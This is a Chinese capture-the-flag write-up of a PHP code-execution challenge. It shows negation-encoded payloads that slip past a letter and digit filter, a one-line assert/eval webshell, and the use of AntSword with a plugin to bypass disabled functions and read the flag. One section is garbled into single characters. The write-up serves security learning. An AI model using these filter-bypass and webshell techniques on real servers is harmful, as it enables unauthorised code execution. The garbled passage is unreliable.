[极客大挑战 2019]RCE ME 1
首先打开题目得到:
发现是代码审计
传入的code不能大于40
并且不能包含a到z的大小写字符和1到10的数字
我们可以通过不在这个字符集里的字符进行绕过
可以采用异或和取反
这里我采用取反,绕过
执行phpinfo();
playload:
<?php
$c='phpinfo';
$d=urlencode(~$c);
echo $d;
?>
执行:
发现对一些行数进行控制:
写一句话:
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>
在这里,我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。
在这里,我们使用 assert 来构造,但由于php版本问题,我们并不能直接构造<?php assert(
P
O
S
T
[
′
a
′
]
)
;
>
,
我
们
需
要
调
用
e
v
a
l
拼
接
为
a
s
s
e
r
t
(
e
v
a
l
(
_POST['a']);>,我们需要调用eval 拼接为 assert(eval(
POST[′a′]);>,我们需要调用eval拼接为assert(eval(_POST[test]))
利用蚁剑连接
但不能执行命令,和cat flag
利用蚁剑的插件进行bypass:
点击开始进入:
利用readflag得到flag:
参考博客: